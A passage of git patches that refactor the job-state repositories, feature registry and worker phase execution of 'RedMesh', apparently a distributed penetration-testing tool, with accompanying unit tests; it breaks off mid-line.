b/extensions/business/cybersec/red_mesh/repositories/artifacts.py @@ -1,3 +1,14 @@ +from ..models import JobArchive, JobConfig, PassReport + + +def _coerce_job_config_dict(payload): + raw = dict(payload or {}) + raw.setdefault("target", raw.get("target_url", "")) + raw.setdefault("start_port", 0) + raw.setdefault("end_port", 0) + return raw + + class ArtifactRepository: """Repository for durable RedMesh artifacts stored in R1FS.""" @@ -20,8 +31,47 @@ def delete(self, cid, *, show_logs=False, raise_on_error=False): def get_job_config(self, job_specs): return self.get_json((job_specs or {}).get("job_config_cid")) + def get_job_config_model(self, job_specs): + payload = self.get_job_config(job_specs) + if not isinstance(payload, dict): + return None + return JobConfig.from_dict(_coerce_job_config_dict(payload)) + + def put_job_config(self, job_config, *, show_logs=False): + if isinstance(job_config, JobConfig): + payload = job_config.to_dict() + else: + payload = JobConfig.from_dict(_coerce_job_config_dict(job_config)).to_dict() + return self.put_json(payload, show_logs=show_logs) + def get_pass_report(self, report_cid): return self.get_json(report_cid) + def get_pass_report_model(self, report_cid): + payload = self.get_pass_report(report_cid) + if not isinstance(payload, dict): + return None + return PassReport.from_dict(payload) + + def put_pass_report(self, pass_report, *, show_logs=False): + if isinstance(pass_report, PassReport): + payload = pass_report.to_dict() + else: + payload = PassReport.from_dict(pass_report).to_dict() + return self.put_json(payload, show_logs=show_logs) + def get_archive(self, job_specs): return self.get_json((job_specs or {}).get("job_cid")) + + def get_archive_model(self, job_specs): + payload = self.get_archive(job_specs) + if not isinstance(payload, dict): + return None + return JobArchive.from_dict(payload) + + def put_archive(self, archive, *, show_logs=False): + if isinstance(archive, JobArchive): + payload = archive.to_dict() + else: + payload = JobArchive.from_dict(archive).to_dict() + return self.put_json(payload, show_logs=show_logs) diff --git a/extensions/business/cybersec/red_mesh/repositories/cstore.py b/extensions/business/cybersec/red_mesh/repositories/cstore.py index 0f65f08a..46cb059e 100644 --- a/extensions/business/cybersec/red_mesh/repositories/cstore.py +++ b/extensions/business/cybersec/red_mesh/repositories/cstore.py @@ -1,3 +1,6 @@ +from ..models import CStoreJobFinalized, CStoreJobRunning, WorkerProgress + + class JobStateRepository: """Repository for mutable RedMesh job state stored in CStore.""" @@ -15,6 +18,18 @@ def _live_hkey(self): def get_job(self, job_id): return self.owner.chainstore_hget(hkey=self._jobs_hkey, key=job_id) + def get_running_job(self, job_id): + payload = self.get_job(job_id) + if not isinstance(payload, dict) or payload.get("job_cid"): + return None + return CStoreJobRunning.from_dict(payload) + + def get_finalized_job(self, job_id): + payload = self.get_job(job_id) + if not isinstance(payload, dict) or not payload.get("job_cid"): + return None + return CStoreJobFinalized.from_dict(payload) + def list_jobs(self): return self.owner.chainstore_hgetall(hkey=self._jobs_hkey) @@ -22,6 +37,20 @@ def put_job(self, job_id, value): self.owner.chainstore_hset(hkey=self._jobs_hkey, key=job_id, value=value) return value + def put_running_job(self, job): + if isinstance(job, CStoreJobRunning): + payload = job.to_dict() + else: + payload = CStoreJobRunning.from_dict(job).to_dict() + return self.put_job(payload["job_id"], payload) + + def put_finalized_job(self, job): + if isinstance(job, CStoreJobFinalized): + payload = job.to_dict() + else: + payload = CStoreJobFinalized.from_dict(job).to_dict() + return self.put_job(payload["job_id"], payload) + def delete_job(self, job_id): self.owner.chainstore_hset(hkey=self._jobs_hkey, key=job_id, value=None) return @@ -32,10 +61,24 @@ def list_live_progress(self): def get_live_progress(self, key): return self.owner.chainstore_hget(hkey=self._live_hkey, key=key) + def get_live_progress_model(self, key): + payload = self.get_live_progress(key) + if not isinstance(payload, dict): + return None + return WorkerProgress.from_dict(payload) + def put_live_progress(self, key, value): self.owner.chainstore_hset(hkey=self._live_hkey, key=key, value=value) return value + def put_live_progress_model(self, progress): + if isinstance(progress, WorkerProgress): + payload = progress.to_dict() + else: + payload = WorkerProgress.from_dict(progress).to_dict() + key = f"{payload['job_id']}:{payload['worker_addr']}" + return self.put_live_progress(key, payload) + def delete_live_progress(self, key): self.owner.chainstore_hset(hkey=self._live_hkey, key=key, value=None) return diff --git a/extensions/business/cybersec/red_mesh/services/finalization.py b/extensions/business/cybersec/red_mesh/services/finalization.py index 73a7fe73..1eb0ab14 100644 --- a/extensions/business/cybersec/red_mesh/services/finalization.py +++ b/extensions/business/cybersec/red_mesh/services/finalization.py @@ -202,7 +202,7 @@ def maybe_finalize_pass(owner): redmesh_test_attestation=redmesh_test_attestation, ) - pass_report_cid = artifacts.put_json(pass_report.to_dict(), show_logs=False) + pass_report_cid = artifacts.put_pass_report(pass_report, show_logs=False) if not pass_report_cid: owner.P(f"Failed to store pass report for pass {job_pass} in R1FS", color='r') continue diff --git a/extensions/business/cybersec/red_mesh/services/launch_api.py b/extensions/business/cybersec/red_mesh/services/launch_api.py index 45090781..21cc23d0 100644 --- a/extensions/business/cybersec/red_mesh/services/launch_api.py +++ b/extensions/business/cybersec/red_mesh/services/launch_api.py @@ -12,7 +12,7 @@ RUN_MODE_SINGLEPASS, ScanType, ) -from ..models import JobConfig +from ..models import CStoreJobRunning, JobConfig from ..repositories import JobStateRepository from .secrets import persist_job_config_with_secrets @@ -258,37 +258,36 @@ def announce_launch( allow_stateful_probes=allow_stateful_probes, ) - config_dict = job_config.to_dict() persisted_config, job_config_cid = persist_job_config_with_secrets( owner, job_id=job_id, - config_dict=config_dict, + config_dict=job_config.to_dict(), ) if not job_config_cid: owner.P("Failed to store job config in R1FS — aborting launch", color='r') return {"error": "Failed to store job config in R1FS"} - job_specs = { - "job_id": job_id, - "target": target, - "task_name": task_name, - "scan_type": scan_type, - "target_url": target_url, - "start_port": start_port, - "end_port": end_port, - "risk_score": 0, - "date_created": owner.time(), - "launcher": owner.ee_addr, - "launcher_alias": owner.ee_id, - "timeline": [], - "workers": workers, - "job_status": JOB_STATUS_RUNNING, - "run_mode": run_mode, - "job_pass": 1, - "next_pass_at": None, - "pass_reports": [], - "job_config_cid": job_config_cid, - } + job_specs = CStoreJobRunning( + job_id=job_id, + job_status=JOB_STATUS_RUNNING, + job_pass=1, + run_mode=run_mode, + launcher=owner.ee_addr, + launcher_alias=owner.ee_id, + target=target, + task_name=task_name, + start_port=start_port, + end_port=end_port, + date_created=owner.time(), + job_config_cid=job_config_cid, + workers=workers, + timeline=[], + pass_reports=[], + next_pass_at=None, + risk_score=0, + ).to_dict() + job_specs["scan_type"] = scan_type + job_specs["target_url"] = target_url owner._emit_timeline_event( job_specs, "created", f"Job created by {created_by_name}", diff --git a/extensions/business/cybersec/red_mesh/services/query.py b/extensions/business/cybersec/red_mesh/services/query.py index a080939d..181efc89 100644 --- a/extensions/business/cybersec/red_mesh/services/query.py +++ b/extensions/business/cybersec/red_mesh/services/query.py @@ -61,12 +61,11 @@ def get_job_archive(owner, job_id: str): if not job_cid: return {"error": "not_available", "message": f"Job {job_id} is still running (no archive yet)."} - archive = _artifact_repo(owner).get_json(job_cid) - if archive is None: - return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} - try: - archive = JobArchive.from_dict(archive).to_dict() + archive = _artifact_repo(owner).get_archive_model(job_specs) + if archive is None: + return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} + archive = archive.to_dict() except ValueError as exc: return { "error": "unsupported_archive_version", diff --git a/extensions/business/cybersec/red_mesh/services/secrets.py b/extensions/business/cybersec/red_mesh/services/secrets.py index 213b4551..19e06d10 100644 --- a/extensions/business/cybersec/red_mesh/services/secrets.py +++ b/extensions/business/cybersec/red_mesh/services/secrets.py @@ -1,5 +1,6 @@ from copy import deepcopy +from ..models import JobConfig from ..repositories import ArtifactRepository @@ -57,6 +58,14 @@ def _blank_graybox_secret_fields(config_dict: dict) -> dict: return sanitized +def _coerce_job_config_dict(config_dict: dict) -> dict: + raw = deepcopy(config_dict or {}) + raw.setdefault("target", raw.get("target_url", "")) + raw.setdefault("start_port", 0) + raw.setdefault("end_port", 0) + return JobConfig.from_dict(raw).to_dict() + + def build_graybox_secret_payload( *, official_username="", @@ -88,7 +97,7 @@ def persist_job_config_with_secrets( tuple[dict, str] Persisted config dict and resulting job_config_cid. """ - persisted_config = deepcopy(config_dict) + persisted_config = _coerce_job_config_dict(config_dict) scan_type = persisted_config.get("scan_type", "network") if scan_type == "webapp": payload = build_graybox_secret_payload( @@ -116,7 +125,7 @@ def persist_job_config_with_secrets( persisted_config["has_weak_candidates"] = bool(payload["weak_candidates"]) persisted_config = _blank_graybox_secret_fields(persisted_config) - job_config_cid = _artifact_repo(owner).put_json(persisted_config, show_logs=False) + job_config_cid = _artifact_repo(owner).put_job_config(persisted_config, show_logs=False) return persisted_config, job_config_cid @@ -128,7 +137,7 @@ def resolve_job_config_secrets(owner, config_dict: dict, include_secret_metadata - configs without secret_ref are returned unchanged - legacy inline secrets remain supported """ - resolved = deepcopy(config_dict or {}) + resolved = _coerce_job_config_dict(config_dict) secret_ref = resolved.get("secret_ref") if not secret_ref: return resolved diff --git a/extensions/business/cybersec/red_mesh/tests/test_repositories.py b/extensions/business/cybersec/red_mesh/tests/test_repositories.py index 709ab546..ad4c2d95 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_repositories.py +++ b/extensions/business/cybersec/red_mesh/tests/test_repositories.py @@ -1,6 +1,7 @@ import unittest from unittest.mock import MagicMock +from extensions.business.cybersec.red_mesh.models import CStoreJobRunning, JobArchive, JobConfig, PassReport, WorkerProgress from extensions.business.cybersec.red_mesh.repositories import ArtifactRepository, JobStateRepository @@ -31,6 +32,54 @@ def test_job_state_repository_uses_live_namespace(self): repo.delete_live_progress("job-1:node-A") owner.chainstore_hset.assert_called_once_with(hkey="test-instance:live", key="job-1:node-A", value=None) + def test_job_state_repository_supports_typed_running_jobs(self): + owner = self._make_owner() + owner.chainstore_hget.return_value = { + "job_id": "job-1", + "job_status": "RUNNING", + "job_pass": 1, + "run_mode": "SINGLEPASS", + "launcher": "node-a", + "launcher_alias": "node-a", + "target": "example.com", + "task_name": "Test", + "start_port": 1, + "end_port": 10, + "date_created": 1.0, + "job_config_cid": "QmConfig", + "workers": {}, + "timeline": [], + "pass_reports": [], + } + repo = JobStateRepository(owner) + + running = repo.get_running_job("job-1") + + self.assertIsInstance(running, CStoreJobRunning) + persisted = repo.put_running_job(running) + self.assertEqual(persisted["job_id"], "job-1") + + def test_job_state_repository_supports_typed_live_progress(self): + owner = self._make_owner() + repo = JobStateRepository(owner) + progress = WorkerProgress( + job_id="job-1", + worker_addr="node-a", + pass_nr=1, + progress=25.0, + phase="port_scan", + ports_scanned=10, + ports_total=40, + open_ports_found=[22], + completed_tests=["probe"], + updated_at=1.0, + ) + + persisted = repo.put_live_progress_model(progress) + + self.assertEqual(persisted["job_id"], "job-1") + owner.chainstore_hset.assert_called_once() + class TestArtifactRepository(unittest.TestCase): @@ -63,3 +112,46 @@ def test_artifact_repository_delete_is_guarded_on_empty_cid(self): self.assertFalse(repo.delete("")) owner.r1fs.delete_file.assert_not_called() + def test_artifact_repository_supports_typed_models(self): + owner = self._make_owner() + repo = ArtifactRepository(owner) + owner.r1fs.get_json.return_value = { + "target": "example.com", + "start_port": 1, + "end_port": 10, + "exceptions": [], + "distribution_strategy": "SLICE", + "port_order": "SEQUENTIAL", + "nr_local_workers": 2, + "enabled_features": [], + "excluded_features": [], + "run_mode": "SINGLEPASS", + } + + job_config = repo.get_job_config_model({"job_config_cid": "QmConfig"}) + + self.assertIsInstance(job_config, JobConfig) + + pass_report = PassReport( + pass_nr=1, + date_started=1.0, + date_completed=2.0, + duration=1.0, + aggregated_report_cid="QmAgg", + worker_reports={}, + ) + repo.put_pass_report(pass_report) + + archive = JobArchive( + job_id="job-1", + job_config=job_config.to_dict(), + timeline=[], + passes=[], + ui_aggregate={"total_open_ports": [], "total_services": 0, "total_findings": 0}, + duration=1.0, + date_created=1.0, + date_completed=2.0, + ) + repo.put_archive(archive) + + self.assertEqual(owner.r1fs.add_json.call_count, 2) From f85d79122a61749366fbd69371ddf0f4892515da Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 17:10:46 +0000 Subject: [PATCH 076/114] refactor: normalize redmesh running job state --- .../cybersec/red_mesh/models/cstore.py | 4 ++ .../cybersec/red_mesh/pentester_api_01.py | 22 ++++----- .../cybersec/red_mesh/repositories/cstore.py | 48 +++++++++++++++++-- .../cybersec/red_mesh/services/launch_api.py | 4 +- .../red_mesh/tests/test_repositories.py | 28 +++++++++++ 5 files changed, 89 insertions(+), 17 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/cstore.py b/extensions/business/cybersec/red_mesh/models/cstore.py index 1f6e42cb..6c38d0c1 100644 --- a/extensions/business/cybersec/red_mesh/models/cstore.py +++ b/extensions/business/cybersec/red_mesh/models/cstore.py @@ -74,6 +74,8 @@ class CStoreJobRunning: launcher: str launcher_alias: str target: str + scan_type: str + target_url: str task_name: str start_port: int end_port: int @@ -101,6 +103,8 @@ def from_dict(cls, d: dict) -> CStoreJobRunning: launcher=d["launcher"], launcher_alias=d.get("launcher_alias", ""), target=d["target"], + scan_type=d.get("scan_type", "network"), + target_url=d.get("target_url", ""), task_name=d.get("task_name", ""), start_port=d["start_port"], end_port=d["end_port"], diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 8af51aa6..550ed580 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -835,8 +835,12 @@ def _write_job_record(self, job_id, job_specs, expected_revision=None, context=" persisted = job_specs if isinstance(job_specs, dict) else dict(job_specs) persisted["job_revision"] = current_revision + 1 - PentesterApi01Plugin._get_job_state_repository(self).put_job(job_id, persisted) - return persisted + normalized = PentesterApi01Plugin._get_job_state_repository(self).put_job(job_id, persisted) + if isinstance(job_specs, dict) and isinstance(normalized, dict) and normalized is not job_specs: + job_specs.clear() + job_specs.update(normalized) + return job_specs + return normalized def _delete_job_record(self, job_id): """Delete a job record from CStore.""" @@ -890,7 +894,7 @@ def _close_job(self, job_id, canceled=False): total_scanned += len(w.state.get("ports_scanned", [])) total_ports += len(w.initial_ports) all_open.update(w.state.get("open_ports", [])) - job_specs_pre = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + job_specs_pre = PentesterApi01Plugin._get_job_state_repository(self).get_job(job_id) pass_nr = job_specs_pre.get("job_pass", 1) if isinstance(job_specs_pre, dict) else 1 done_progress = WorkerProgress( job_id=job_id, @@ -904,11 +908,7 @@ def _close_job(self, job_id, canceled=False): completed_tests=[], updated_at=self.time(), ) - self.chainstore_hset( - hkey=f"{self.cfg_instance_id}:live", - key=f"{job_id}:{self.ee_addr}", - value=done_progress.to_dict(), - ) + PentesterApi01Plugin._get_job_state_repository(self).put_live_progress_model(done_progress) local_workers = self.scan_jobs.pop(job_id, None) if local_workers: @@ -945,7 +945,7 @@ def _close_job(self, job_id, canceled=False): thread_scan_metrics[lwid] = entry if thread_scan_metrics: report["thread_scan_metrics"] = thread_scan_metrics - raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + raw_job_specs = PentesterApi01Plugin._get_job_state_repository(self).get_job(job_id) if raw_job_specs is None: self.P(f"Job {job_id} no longer present in chainstore; skipping close sync.", color='r') return @@ -989,7 +989,7 @@ def _close_job(self, job_id, canceled=False): worker_entry["result"] = report # Re-read job_specs to avoid overwriting concurrent updates (e.g., pass_reports) - fresh_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + fresh_job_specs = PentesterApi01Plugin._get_job_state_repository(self).get_job(job_id) if fresh_job_specs and isinstance(fresh_job_specs, dict): fresh_job_specs["workers"][self.ee_addr] = worker_entry job_specs = fresh_job_specs @@ -1033,7 +1033,7 @@ def _maybe_stop_canceled_jobs(self): return for job_id in list(self.scan_jobs): - raw = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + raw = PentesterApi01Plugin._get_job_state_repository(self).get_job(job_id) if not raw: continue _, job_specs = self._normalize_job_record(job_id, raw) diff --git a/extensions/business/cybersec/red_mesh/repositories/cstore.py b/extensions/business/cybersec/red_mesh/repositories/cstore.py index 46cb059e..aa7f24ba 100644 --- a/extensions/business/cybersec/red_mesh/repositories/cstore.py +++ b/extensions/business/cybersec/red_mesh/repositories/cstore.py @@ -1,6 +1,19 @@ from ..models import CStoreJobFinalized, CStoreJobRunning, WorkerProgress +RUNNING_JOB_REQUIRED_FIELDS = { + "job_id", + "job_status", + "run_mode", + "launcher", + "target", + "start_port", + "end_port", + "date_created", + "job_config_cid", +} + + class JobStateRepository: """Repository for mutable RedMesh job state stored in CStore.""" @@ -18,24 +31,51 @@ def _live_hkey(self): def get_job(self, job_id): return self.owner.chainstore_hget(hkey=self._jobs_hkey, key=job_id) + def _coerce_job_payload(self, value): + if isinstance(value, CStoreJobRunning): + return value.to_dict() + if isinstance(value, CStoreJobFinalized): + return value.to_dict() + if not isinstance(value, dict): + return value + payload = dict(value) + if payload.get("job_cid"): + try: + return CStoreJobFinalized.from_dict(payload).to_dict() + except (KeyError, TypeError, ValueError): + return payload + if RUNNING_JOB_REQUIRED_FIELDS.issubset(payload): + try: + return CStoreJobRunning.from_dict(payload).to_dict() + except (KeyError, TypeError, ValueError): + return payload + return payload + def get_running_job(self, job_id): payload = self.get_job(job_id) if not isinstance(payload, dict) or payload.get("job_cid"): return None - return CStoreJobRunning.from_dict(payload) + try: + return CStoreJobRunning.from_dict(payload) + except (KeyError, TypeError, ValueError): + return None def get_finalized_job(self, job_id): payload = self.get_job(job_id) if not isinstance(payload, dict) or not payload.get("job_cid"): return None - return CStoreJobFinalized.from_dict(payload) + try: + return CStoreJobFinalized.from_dict(payload) + except (KeyError, TypeError, ValueError): + return None def list_jobs(self): return self.owner.chainstore_hgetall(hkey=self._jobs_hkey) def put_job(self, job_id, value): - self.owner.chainstore_hset(hkey=self._jobs_hkey, key=job_id, value=value) - return value + payload = self._coerce_job_payload(value) + self.owner.chainstore_hset(hkey=self._jobs_hkey, key=job_id, value=payload) + return payload def put_running_job(self, job): if isinstance(job, CStoreJobRunning): diff --git a/extensions/business/cybersec/red_mesh/services/launch_api.py b/extensions/business/cybersec/red_mesh/services/launch_api.py index 21cc23d0..6f3b525f 100644 --- a/extensions/business/cybersec/red_mesh/services/launch_api.py +++ b/extensions/business/cybersec/red_mesh/services/launch_api.py @@ -275,6 +275,8 @@ def announce_launch( launcher=owner.ee_addr, launcher_alias=owner.ee_id, target=target, + scan_type=scan_type, + target_url=target_url, task_name=task_name, start_port=start_port, end_port=end_port, @@ -286,8 +288,6 @@ def announce_launch( next_pass_at=None, risk_score=0, ).to_dict() - job_specs["scan_type"] = scan_type - job_specs["target_url"] = target_url owner._emit_timeline_event( job_specs, "created", f"Job created by {created_by_name}", diff --git a/extensions/business/cybersec/red_mesh/tests/test_repositories.py b/extensions/business/cybersec/red_mesh/tests/test_repositories.py index ad4c2d95..e2f74422 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_repositories.py +++ b/extensions/business/cybersec/red_mesh/tests/test_repositories.py @@ -58,6 +58,7 @@ def test_job_state_repository_supports_typed_running_jobs(self): self.assertIsInstance(running, CStoreJobRunning) persisted = repo.put_running_job(running) self.assertEqual(persisted["job_id"], "job-1") + self.assertEqual(persisted["scan_type"], "network") def test_job_state_repository_supports_typed_live_progress(self): owner = self._make_owner() @@ -80,6 +81,33 @@ def test_job_state_repository_supports_typed_live_progress(self): self.assertEqual(persisted["job_id"], "job-1") owner.chainstore_hset.assert_called_once() + def test_job_state_repository_put_job_coerces_running_job_shape(self): + owner = self._make_owner() + repo = JobStateRepository(owner) + + payload = repo.put_job("job-1", { + "job_id": "job-1", + "job_status": "RUNNING", + "job_pass": 1, + "run_mode": "SINGLEPASS", + "launcher": "node-a", + "launcher_alias": "node-a", + "target": "example.com", + "scan_type": "webapp", + "target_url": "https://example.com/app", + "task_name": "Test", + "start_port": 443, + "end_port": 443, + "date_created": 1.0, + "job_config_cid": "QmConfig", + "workers": {}, + "timeline": [], + "pass_reports": [], + }) + + self.assertEqual(payload["scan_type"], "webapp") + self.assertEqual(payload["target_url"], "https://example.com/app") + class TestArtifactRepository(unittest.TestCase): From ad75b233ba5b5cce2f939fc0849a7ef305d49f8d Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 17:15:36 +0000 Subject: [PATCH 077/114] refactor: add explicit redmesh network feature registry --- .../business/cybersec/red_mesh/constants.py | 17 +++++ .../cybersec/red_mesh/tests/test_api.py | 12 +++ .../red_mesh/worker/pentest_worker.py | 73 +++++++++++++------ 3 files changed, 78 insertions(+), 24 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index be96c495..f9eb9670 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -137,6 +137,23 @@ class ScanType(str, Enum): }, ] + +NETWORK_FEATURE_CATEGORIES = ("service", "web", "correlation") +NETWORK_FEATURE_REGISTRY = { + category: tuple( + method + for item in FEATURE_CATALOG + if item.get("category") == category + for method in item.get("methods", []) + ) + for category in NETWORK_FEATURE_CATEGORIES +} +NETWORK_FEATURE_METHODS = tuple( + method + for category in NETWORK_FEATURE_CATEGORIES + for method in NETWORK_FEATURE_REGISTRY[category] +) + # Job status constants JOB_STATUS_RUNNING = "RUNNING" JOB_STATUS_COLLECTING = "COLLECTING" # Launcher merging worker reports diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 3688a2dc..0bb4b1fe 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -472,6 +472,18 @@ def test_validate_feature_catalog_rejects_missing_worker_methods(self): with self.assertRaises(RuntimeError): PentesterApi01Plugin._validate_feature_catalog(plugin) + def test_network_features_come_from_explicit_registry(self): + """Network feature discovery stays tied to the explicit registry order.""" + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.worker.pentest_worker import PentestLocalWorker + from extensions.business.cybersec.red_mesh.constants import NETWORK_FEATURE_METHODS, NETWORK_FEATURE_REGISTRY + + self.assertEqual(PentestLocalWorker.get_supported_features(), list(NETWORK_FEATURE_METHODS)) + self.assertEqual(PentestLocalWorker.get_supported_features(categs=True), { + category: list(methods) + for category, methods in NETWORK_FEATURE_REGISTRY.items() + }) + class TestPhase2PassFinalization(unittest.TestCase): diff --git a/extensions/business/cybersec/red_mesh/worker/pentest_worker.py b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py index cdc37b5c..04483c69 100644 --- a/extensions/business/cybersec/red_mesh/worker/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py @@ -16,6 +16,7 @@ FINGERPRINT_TIMEOUT, FINGERPRINT_MAX_BANNER, FINGERPRINT_HTTP_TIMEOUT, FINGERPRINT_NUDGE_TIMEOUT, SCAN_PORT_TIMEOUT, COMMON_PORTS, ALL_PORTS, + NETWORK_FEATURE_METHODS, NETWORK_FEATURE_REGISTRY, ) from .web import _WebTestsMixin @@ -29,7 +30,12 @@ class PentestLocalWorker( _CorrelationMixin, BaseLocalWorker, ): - FEATURE_PREFIXES = ("_service_info_", "_web_test_", "_post_scan_") + FEATURE_CATEGORIES = ("service", "web", "correlation") + FEATURE_CATEGORY_PREFIXES = { + "service": "_service_info_", + "web": "_web_test_", + "correlation": "_post_scan_", + } """ Execute a pentest workflow against a target on a dedicated thread. @@ -211,32 +217,51 @@ def _get_all_features(self, categs=False): dict | list Service and web test method names. """ - features = {} if categs else [] - PREFIXES = ["_service_info_", "_web_test_"] - for prefix in PREFIXES: - methods = [method for method in dir(self) if method.startswith(prefix)] - if categs: - features[prefix[1:-1]] = methods - else: - features.extend(methods) - return features + if categs: + return { + category: list(self.get_feature_registry().get(category, ())) + for category in self.get_feature_categories() + } + return list(self.get_feature_methods()) @classmethod - def get_feature_prefixes(cls): - """Return method prefixes used for feature discovery.""" - return list(cls.FEATURE_PREFIXES) + def get_feature_categories(cls): + """Return feature categories used by the network worker.""" + return list(cls.FEATURE_CATEGORIES) + + @classmethod + def get_feature_registry(cls): + """Return the explicit executable feature registry for network scans.""" + return {category: list(NETWORK_FEATURE_REGISTRY.get(category, ())) for category in cls.get_feature_categories()} + + @classmethod + def get_feature_methods(cls): + """Return the flattened ordered feature list for network scans.""" + return list(NETWORK_FEATURE_METHODS) @classmethod def get_supported_features(cls, categs=False): - """Return supported network-worker features discovered from class methods.""" - features = {} if categs else [] - for prefix in cls.get_feature_prefixes(): - methods = [method for method in dir(cls) if method.startswith(prefix)] - if categs: - features[prefix[1:-1]] = methods - else: - features.extend(methods) - return features + """Return supported network-worker features from the explicit registry.""" + if categs: + return cls.get_feature_registry() + return cls.get_feature_methods() + + def _get_enabled_feature_methods(self, category=None): + """Return enabled features in explicit registry order, optionally by category.""" + allowed = set(self.__enabled_features or []) + if category is None: + methods = self.get_feature_methods() + else: + methods = self.get_feature_registry().get(category, []) + enabled = [method for method in methods if method in allowed] + if category is not None: + prefix = self.FEATURE_CATEGORY_PREFIXES[category] + extras = [ + method for method in (self.__enabled_features or []) + if method not in methods and method.startswith(prefix) + ] + enabled.extend(extras) + return enabled @staticmethod def get_worker_specific_result_fields(): @@ -907,7 +932,7 @@ def _gather_service_info(self): return self.P(f"Gathering service info for {len(open_ports)} open ports.") target = self.target - service_info_methods = [m for m in self.__enabled_features if m.startswith("_service_info_")] + service_info_methods = self._get_enabled_feature_methods(category="service") port_protocols = self.state.get("port_protocols", {}) aggregated_info = [] for method in service_info_methods: @@ -1007,7 +1032,7 @@ def _run_web_tests(self): ) target = self.target result = [] - web_tests_methods = [m for m in self.__enabled_features if m.startswith("_web_test_")] + web_tests_methods = self._get_enabled_feature_methods(category="web") for method in web_tests_methods: func = getattr(self, method) method_failed = False From a435d801cacb895e20d53cecaa8f61da60157723 Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 17:21:03 +0000 Subject: [PATCH 078/114] refactor: streamline redmesh worker phase execution --- .../cybersec/red_mesh/tests/test_probes.py | 32 ++++++- .../red_mesh/worker/pentest_worker.py | 83 ++++++++++--------- 2 files changed, 77 insertions(+), 38 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/tests/test_probes.py b/extensions/business/cybersec/red_mesh/tests/test_probes.py index 98d0ea19..546904c7 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_probes.py +++ b/extensions/business/cybersec/red_mesh/tests/test_probes.py @@ -314,6 +314,37 @@ def fake_web_two(target, port): self.assertEqual(web_snap["_web_test_fake_one"], "web-one:10000") self.assertEqual(web_snap["_web_test_fake_two"], "web-two:10000") + def test_correlation_runs_all_enabled_methods(self): + owner, worker = self._build_worker(ports=[80]) + + marker = [] + + def fake_corr_one(): + marker.append("one") + + def fake_corr_two(): + marker.append("two") + + setattr(worker, "_post_scan_fake_one", fake_corr_one) + setattr(worker, "_post_scan_fake_two", fake_corr_two) + worker._PentestLocalWorker__enabled_features = ["_post_scan_fake_one", "_post_scan_fake_two"] + + worker._run_correlation_tests() + + self.assertEqual(marker, ["one", "two"]) + + def test_execute_job_uses_explicit_phase_plan(self): + _, worker = self._build_worker() + phases = [] + + def record_phase(phase_config): + phases.append(phase_config["phase"]) + + with patch.object(worker, "_execute_phase", side_effect=record_phase): + worker.execute_job() + + self.assertEqual(phases, [entry["phase"] for entry in worker.PHASE_EXECUTION_PLAN]) + def test_ssrf_protection_respects_exceptions(self): owner, worker = self._build_worker(ports=[80, 9000], exceptions=[9000]) self.assertNotIn(9000, worker.state["ports_to_scan"]) @@ -5092,4 +5123,3 @@ def test_jetty_all_cves_match(self): expected = {"CVE-2023-26048", "CVE-2023-26049", "CVE-2023-36478", "CVE-2023-40167"} self.assertEqual(cve_ids, expected, f"Should match all 4 Jetty CVEs, got {cve_ids}") - diff --git a/extensions/business/cybersec/red_mesh/worker/pentest_worker.py b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py index 04483c69..4b76d669 100644 --- a/extensions/business/cybersec/red_mesh/worker/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py @@ -36,6 +36,13 @@ class PentestLocalWorker( "web": "_web_test_", "correlation": "_post_scan_", } + PHASE_EXECUTION_PLAN = ( + {"phase": "port_scan", "runner": "_scan_ports_step"}, + {"phase": "fingerprint", "runner": "_active_fingerprint_ports", "completion_marker": "fingerprint_completed"}, + {"phase": "service_probes", "runner": "_gather_service_info", "completion_marker": "service_info_completed"}, + {"phase": "web_tests", "runner": "_run_web_tests", "completion_marker": "web_tests_completed", "skip_on_ics": True}, + {"phase": "correlation", "runner": "_run_correlation_tests", "completion_marker": "correlation_completed"}, + ) """ Execute a pentest workflow against a target on a dedicated thread. @@ -373,6 +380,43 @@ def _interruptible_sleep(self): # Check if stop was requested during sleep return self.stop_event.is_set() + def _execute_phase(self, phase_config): + """Execute one worker phase with standardized metrics and completion handling.""" + if self._check_stopped(): + return + if phase_config.get("skip_on_ics") and self._ics_detected: + return + + phase_name = phase_config["phase"] + runner = getattr(self, phase_config["runner"]) + self.metrics.phase_start(phase_name) + try: + runner() + finally: + self.metrics.phase_end(phase_name) + + completion_marker = phase_config.get("completion_marker") + if completion_marker: + self.state["completed_tests"].append(completion_marker) + + def _run_correlation_tests(self): + """Execute enabled correlation probes in explicit registry order.""" + enabled_methods = self._get_enabled_feature_methods(category="correlation") + enabled_set = set(enabled_methods) + + for method in self.get_feature_registry().get("correlation", []): + if method not in enabled_set: + self.metrics.record_probe(method, "skipped:disabled") + + for method in enabled_methods: + if self.stop_event.is_set(): + return + try: + getattr(self, 